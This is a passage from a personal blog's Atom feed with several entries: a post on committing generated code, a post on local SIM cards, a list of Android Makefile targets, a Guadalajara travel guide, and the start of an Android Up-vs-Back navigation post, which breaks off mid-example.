]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/central-america" term="central-america" label="central-america"/><category scheme="https://ashishb.net/tag/latin-america" term="latin-america" label="latin-america"/><category scheme="https://ashishb.net/tag/nicaragua" term="nicaragua" label="nicaragua"/></entry><entry><title type="html">When to commit Generated code to version control</title><link href="https://ashishb.net/tech/when-to-commit-generated-code-to-version-control/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/react-native/?utm_source=atom_feed" rel="related" type="text/html" title="React Native"/><link href="https://ashishb.net/tech/the-two-step-approach-to-big-code-modifications/?utm_source=atom_feed" rel="related" type="text/html" title="The two-step approach to big code modifications"/><link href="https://ashishb.net/programming/android-stale-views/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Don't use stale views"/><link href="https://ashishb.net/programming/how-many-source-code-repositories-should-a-startup-have/?utm_source=atom_feed" rel="related" type="text/html" title="How many source-code repositories should a startup have"/><link href="https://ashishb.net/programming/consoles-by-google/?utm_source=atom_feed" rel="related" type="text/html" title="Consoles by Google"/><id>https://ashishb.net/tech/when-to-commit-generated-code-to-version-control/</id><author><name>Ashish Bhatia</name></author><published>2024-06-02T18:30:57+00:00</published><updated>2024-06-02T18:30:57+00:00</updated><content type="html"><![CDATA[<blockquote>Avoid committing generated code to version control; utilize CI caching instead. Explore rare exceptions where tracking changes can be beneficial. Discover best practices!</blockquote><p>Generated code, ideally, should not be committed to version control. Committing generated code can sometimes speed up testing and code generation but it is a design smell. It is better to cache generated code via 
<a href="/tech/common-pitfalls-of-github-actions/">CI caching</a>. Committing generated code to version control is the worst as it is hard to even detect the difference.</p>
<p>However, there are a few specific circumstances where committing generated code/config/data to version control is worth it.</p>
<ol>
<li>The generated code is text - so that, one can see the diff and how it evolves over time. And,</li>
<li>Tracking changes to generated code - a perfect example of this is committing <code>openapi.json</code> specifications to version control. So, any breaking modifications to it can be   
    
    
<a href="https://github.com/mpetrunic/swagger-cli-action?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">tracked</a> via CI.</li>
</ol>
<p>Should Machine Learning models be committed to version control? I don&rsquo;t think so. These are huge binary blobs. It is best to put them in an Amazon S3 bucket/Google Cloud Storage bucket and use that as a version control.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/programming" term="programming" label="programming"/></entry><entry><title type="html">Why I always buy a local SIM in a foreign country</title><link href="https://ashishb.net/travel/sim/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/nashville-tennessee/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Nashville, Tennessee"/><link href="https://ashishb.net/travel/birmingham-alabama/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Birmingham, Alabama"/><link href="https://ashishb.net/travel/hiking-mt-fuji/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking Mt. Fuji"/><link href="https://ashishb.net/travel/kyoto-japan/?utm_source=atom_feed" rel="related" type="text/html" title="Kyoto in three days"/><link href="https://ashishb.net/travel/tokyo-japan/?utm_source=atom_feed" rel="related" type="text/html" title="Tokyo in three days"/><id>https://ashishb.net/travel/sim/</id><author><name>Ashish Bhatia</name></author><published>2024-05-18T16:00:30+00:00</published><updated>2024-05-18T16:00:30+00:00</updated><content type="html"><![CDATA[<blockquote>Discover why switching to a local SIM or eSIM while traveling in Egypt can save you money and ensure better coverage, especially in remote areas!</blockquote><p>I reached Aswan, 
<a href="/travel/egypt/">Egypt</a> after an overnight train journey.
The city is not exactly tourist-friendly, and I wouldn&rsquo;t get any signal on my   
    
    
<a href="https://g.co/fi/r/3C8KE4?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Google FI</a> connection.
This has happened before but this was the breaking point.
I quickly ran to a nearby store and got a local SIM.
The plan was cheaper than my Google FI plan (10 US$/GB).</p>
<p>It is 2021, SIM cards are activated in a matter of minutes and data is cheap.
It might take you ~30 minutes of bureaucracy to get a SIM but the coverage one gets is well worth it.
Especially, if you travel in remote areas where international roaming might only provide limited coverage.
Further, only buy a pre-paid plan, so, the amount you are going to spend is limited.</p>
<p>With the arrival of eSIMs, this has become even easier, as one can buy eSIMs directly at websites like   
    
    
<a href="https://esimdb.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">eSIM DB</a> or   
    
    
<a href="https://esim.redteago.com?c=ibxj5pz1&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">RedTeaGo</a>.</p>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/></entry><entry><title type="html">Use Makefile for Android</title><link href="https://ashishb.net/programming/use-makefile-for-android/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/android-stale-views/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Don't use stale views"/><link href="https://ashishb.net/programming/android-navigation-up-vs-back/?utm_source=atom_feed" rel="related" type="text/html" title="Android Navigation: Up vs Back"/><link href="https://ashishb.net/programming/maintaining-android-app/?utm_source=atom_feed" rel="related" type="text/html" title="Maintaining an Android app is a lot of work"/><link href="https://ashishb.net/programming/android-always-show-toasts-on-the-background-thread/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Always show toasts on the background thread"/><link href="https://ashishb.net/programming/end-to-end-testing-mobile-apps/?utm_source=atom_feed" rel="related" type="text/html" title="End-to-end testing of mobile apps"/><id>https://ashishb.net/programming/use-makefile-for-android/</id><author><name>Ashish Bhatia</name></author><published>2024-05-11T16:00:07+00:00</published><updated>2024-05-11T16:00:07+00:00</updated><content type="html"><![CDATA[<blockquote>Streamline your Android development with Makefile! Simplify tasks, add custom commands, and manage Java versions without Gradle headaches. Click to learn more.</blockquote><p>I use Makefile for Android just like I use Makefile for my non-Android 
<a href="/programming/how-to-deploy-side-projects-as-web-services-for-free/">side-projects</a>.</p>
<p>Gradle is great for building Android apks and libraries. However, adding custom commands and running them is hard. Further, try specifying a particular version of Java (e.g. Java 17) to use with Gradle and the command line becomes really long.</p>
<p>Further, if you want to do more things, like running 
<a href="/programming/end-to-end-testing-mobile-apps/">End to end tests</a> or uploading releases to Google Play with   
    
    
<a href="https://docs.fastlane.tools/getting-started/android/setup/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Fastlane</a>, adding them to Gradle becomes really difficult.</p>
<p>Here are the commands that I have added to my Makefile.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">28
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#586e75"># To build a debug build</span>
</span></span><span style="display:flex;"><span>buildDebug
</span></span><span style="display:flex;"><span><span style="color:#586e75"># To update stale dependencies</span>
</span></span><span style="display:flex;"><span>checkDependenciesForUpdates
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Clean the build</span>
</span></span><span style="display:flex;"><span>clean
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Install the debug build on attached device/emulator</span>
</span></span><span style="display:flex;"><span>installDebug
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Lint the debug build</span>
</span></span><span style="display:flex;"><span>lintDebug
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Lint the release build</span>
</span></span><span style="display:flex;"><span>lintRelease
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Open Google Play dashboard in the browser</span>
</span></span><span style="display:flex;"><span>openGooglePlayDashboard
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Start Android Auto app for testing</span>
</span></span><span style="display:flex;"><span>startAndroidAutoTesting
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Test local build with Maestro on a local device (&gt;= API 29)</span>
</span></span><span style="display:flex;"><span>testOnLocalDevice
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Test local build with Maestro on mobile.dev</span>
</span></span><span style="display:flex;"><span>testOnMaestroCloud
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Upload to Google Play - no urgency, 10% rollout</span>
</span></span><span style="display:flex;"><span>uploadReleaseNormal
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Upload to Google Play with urgency set, 99% rollout</span>
</span></span><span style="display:flex;"><span>uploadReleaseUrgent</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div>]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/></entry><entry><title type="html">Four days in Guadalajara, Mexico</title><link href="https://ashishb.net/travel/mexico/guadalajara/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/mexico/cancun/?utm_source=atom_feed" rel="related" type="text/html" title="Three days in Cancun, Mexico"/><link href="https://ashishb.net/travel/mexico/mexico-city-and-valle-de-bravo/?utm_source=atom_feed" rel="related" type="text/html" title="4 days in Mexico City and Valle De Bravo"/><link href="https://ashishb.net/travel/nicaragua/?utm_source=atom_feed" rel="related" type="text/html" title="Nicaragua in 5 days"/><link href="https://ashishb.net/travel/el-calafate-patagonia-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="A day in El Calafate - Patagonia, Argentina"/><link href="https://ashishb.net/travel/el-chalten-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking in El Chaltén - trekking capital of Argentina"/><id>https://ashishb.net/travel/mexico/guadalajara/</id><author><name>Ashish Bhatia</name></author><published>2024-05-04T16:00:11+00:00</published><updated>2024-05-04T16:00:11+00:00</updated><content type="html"><![CDATA[<blockquote>Ultimate travel guide to Guadalajara, Mexico. Explore the city, Circular Pyramid, Lake Chapala, and Tlaquepaque in 4 days.</blockquote><h3 id="day-1---guadalajara-city">Day 1 - Guadalajara city</h3>
<p>Start with a walking tour to see the center of the city. Compared to Mexico City, Guadalajara appears safer, cleaner, and more well-maintained.</p>
<figure>
    
    <a href="guadalajara-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="guadalajara-1-1024x768.jpg"
         alt="A well-maintained cityscape depicting Guadalajara, showcasing clean, organized streets and modern infrastructure, contributing to a sense of safety and cleanliness compared to other cities." width="900"/> </a>
</figure>

<figure>
    
    <a href="guadalajara-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="guadalajara-2-1024x768.jpg"
         alt="A bustling indoor market with numerous stalls and vendors, showcasing a variety of goods, in a well-lit, spacious environment" width="900"/> </a>
</figure>

<p>Do check out the largest gold market and the largest covered market in Latin America (&ldquo;Mercado San Juan de Dios&rdquo;).</p>
<figure>
    
    <a href="guadalajara-largest-market-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="guadalajara-largest-market-1024x768.jpg"
         alt="Aerial view of the bustling Mercado San Juan de Dios, the largest gold market and covered market in Latin America, in Guadalajara." width="900"/> </a>
</figure>

<p>Try Tejuino, a drink local to the Mexican states of Jalisco and Chihuahua.</p>
<figure>
    
    <a href="guadalajara-tejuino-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="guadalajara-tejuino-768x1024.jpg"
         alt="A glass of Tejuino, a traditional beverage from Jalisco and Chihuahua, Mexico, is highlighted alongside a suggestion to enjoy corn (elotes) while in Mexico." width="900"/> </a>
</figure>

<p>And since it is Mexico, do eat corn (elotes) as well.</p>
<figure>
    
    <a href="guadalajara-elotes-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="guadalajara-elotes-768x1024.jpg"
         alt="A glass filled with a traditional Mexican drink Tejuino" width="900"/> </a>
</figure>

<p>There are two museums worth visiting, Museo Cabañas and Musa. Musa is free. Museo Cabañas is free on Tuesdays.</p>
<figure>
    
    <a href="mueso-cabanas-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="mueso-cabanas-768x1024.jpg"
         alt="Daylight illuminates the Museo Cabañas, a grand historical building with neoclassical architecture in Guadalajara" width="900"/> </a>
</figure>

<p>At night, do watch the   
    
    
<a href="https://www.youtube.com/watch?v=wACZDIJtk58&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">light show</a> at Guadalajara Catedral.</p>
<h3 id="day-2---guachiomontones">Day 2 - Guachiomontones</h3>
<p>Guachiomontones built in ~300 BC is the only circular pyramid in the world.
The site is small compared to 
<a href="/travel/mexico/cancun/">Chichén Itzá</a> or 
<a href="/travel/egypt/">Egyptian Pyramids</a>.
However, if you are a history buff, you will love it. Otherwise, it might feel underwhelming.
To get here, take a 100 pesos one-hour bus from   
    
    
<a href="https://goo.gl/maps/UGBj83Qi6P4S2Bzu9?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Guadalajara Central Bus Station</a> to Teuchitlán.
From here, you can take a taxi or even a 20-minute walk to the pyramids. Here&rsquo;s a   
    
    
<a href="https://www.apieceoftravel.com/bus-from-guadalajara-to-guachimontones/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">blog post</a> that describes the full details.
I would highly recommend taking a guide here as they will explain the Ulama game and how it relates to &ldquo;Poc ta poc &quot; played near Chichén Itzá. The guide will cost 200-400 pesos.</p>
<figure>
    
    <a href="guachimontones-ulama-playground-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="guachimontones-ulama-playground-1024x768.jpg"
         alt="A circular stepped pyramid located at Guachimontones, surrounded by lush greenery, used for ancient ceremonial or sporting activities related to the game &#39;Poc ta Poc&#39;." width="900"/> </a>
</figure>

<figure>
    
    <a href="guachimontones-pyramid-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="guachimontones-pyramid-1024x768.jpg"
         alt="A circular stone pyramid at Guachimontones, surrounded by lush greenery, serves as an archeological site with historic significance." width="900"/> </a>
</figure>

<p>Rather than going from Teuchitlán to Guadalajara, you can take a ~100 peso bus to La Venta del Astillero and from there head to Tequila town via a 120 pesos bus.
Tequila town is the birthplace of Tequila. There isn&rsquo;t a lot to do here if you don&rsquo;t drink. You can try Agave miel (honey) at a few shops. Tequila Town has a relaxed touristy vibe.</p>
<figure>
    
    <a href="tequila-agave-farm-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tequila-agave-farm-1024x768.jpg"
         alt="A scenic view of an agave farm, highlighting rows of agave plants used for tequila production, set against a backdrop of distant hills." width="900"/> </a>
</figure>

<figure>
    
    <a href="tequila-town-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tequila-town-1024x768.jpg"
         alt="A picturesque agave farm, used for tequila production" width="900"/> </a>
</figure>

<p>Once you are done, you can take a 130 pesos 2-hour bus back to Guadalajara.</p>
<h3 id="day-3---lake-chapala---the-largest-lake-in-mexico">Day 3 - Lake Chapala - the largest lake in Mexico</h3>
<p>I took a 60-pesos 1-hour bus journey to Ajijic on Lake Chapala.</p>
<p>Lake Chapala is the largest lake in Mexico. The nearby city of Ajijic is one of the best-known expat hubs.
It has a small waterfall that was dry when I visited.
The hike to the waterfall is only 40 minutes long but is a strenuous upward climb.
Otherwise, there isn&rsquo;t much to see in the city.</p>
<figure>
    
    <a href="ajijic-dry-waterfall-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ajijic-dry-waterfall-768x1024.jpg"
         alt="A dry waterfall in Ajijic with rugged, rocky terrain and sparse vegetation, highlighting a challenging climbing path." width="900"/> </a>
</figure>

<p>From here, take a 12-pesos ~20-minute bus to the City of Chapala, which is both larger and more touristy.</p>
<figure>
    
    <a href="lake-chapala-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="lake-chapala-1024x768.jpg"
         alt="A pier extending into a large lake is seen with mountains in the background, capturing the scenic beauty of Lake Chapala, a popular tourist destination." width="900"/> </a>
</figure>

<p>Here you can see the ceremony of Voladores (&ldquo;flying men&rdquo;).</p>
<figure>
    
    <a href="voladores-flying-men-ceremony-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="voladores-flying-men-ceremony-768x1024.jpg"
         alt="Four men perform the Voladores ceremony, a traditional Mexican ritual involving airborne acrobatics from a tall pole, against a clear sky backdrop." width="900"/> </a>
</figure>

<p>In the evening, I took a 60 pesos 1-hour bus ride back to Guadalajara.</p>
<h3 id="day-4---tlaquepaque">Day 4 - Tlaquepaque</h3>
<p>The city of Tlaquepaque has friendly vibes and beautiful art. It is worth visiting but still a bit underwhelming compared to Guadalajara.</p>
<figure>
    
    <a href="tlaqueplaque-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tlaqueplaque-1-768x1024.jpg"
         alt="A decorative ceramic plaque displays a vibrant, intricate design featuring traditional Mexican motifs" width="900"/> </a>
</figure>

<p>In the evening, try vegan ceviche at the famous vegan restaurant &ldquo;La Flaca&rdquo;.</p>
<figure>
    
    <a href="la-flaca-vegan-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="la-flaca-vegan-1024x768.jpg"
         alt="A vegan ceviche dish is presented on a table at the vegan restaurant La Flaca, suggested as an evening meal option." width="900"/> </a>
</figure>

<p>Note:</p>
<ol>
<li>Just like in 
<a href="/travel/mexico/mexico-city-and-valle-de-bravo/">Mexico City</a>, the 
<a href="/travel/public-transport-guide/">public transport</a> is widely accessible.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/mexico" term="mexico" label="mexico"/><category scheme="https://ashishb.net/tag/latin-america" term="latin-america" label="latin-america"/></entry><entry><title type="html">Android Navigation: Up vs Back</title><link href="https://ashishb.net/programming/android-navigation-up-vs-back/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/android-stale-views/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Don't use stale views"/><link href="https://ashishb.net/programming/use-makefile-for-android/?utm_source=atom_feed" rel="related" type="text/html" title="Use Makefile for Android"/><link href="https://ashishb.net/programming/maintaining-android-app/?utm_source=atom_feed" rel="related" type="text/html" title="Maintaining an Android app is a lot of work"/><link href="https://ashishb.net/programming/android-always-show-toasts-on-the-background-thread/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Always show toasts on the background thread"/><link href="https://ashishb.net/programming/end-to-end-testing-mobile-apps/?utm_source=atom_feed" rel="related" type="text/html" title="End-to-end testing of mobile apps"/><id>https://ashishb.net/programming/android-navigation-up-vs-back/</id><author><name>Ashish Bhatia</name></author><published>2024-04-20T16:00:46+00:00</published><updated>2024-04-20T16:00:46+00:00</updated><content type="html"><![CDATA[<blockquote>Master Android navigation with our guide: learn the difference between back and up buttons and implement them seamlessly in your app. Navigate like a pro!</blockquote><p>Android has two distinct navigation guidelines as opposed to iOS.
Getting them right is nuanced.</p>
<figure>
    
    <a href="music-sync-dark-mode-1-498x1024.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="music-sync-dark-mode-1-498x1024.jpeg"
         alt="A smartphone screen displaying MusicSync (https://musicsync.ashishb.net), the best music player on Android" width="498"/> </a>
</figure>

<p>Apps on iOS usually have a back button.
Apps on Android can have a back or an up button.
The back button takes you back to where you came from.
While the up button takes you one level up.</p>
<p>Confused?</p>
<p>Let me give an example.
Consider a simple directory explorer app showing the following folder structure</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Text
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>Songs
</span></span><span style="display:flex;"><span>|
</span></span><span style="display:flex;"><span>|__Pop
</span></span><span style="display:flex;"><span>|__Rock
</span></span><span style="display:flex;"><span>|__Rap</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Let&rsquo;s say the user is in the &ldquo;Rock&rdquo; folder right now.
The up button will always take you back to &ldquo;Songs&rdquo;.
Now, let&rsquo;s say there is a way to jump from the &ldquo;Rock&rdquo; -&gt; &ldquo;Pop&rdquo; folder directly.
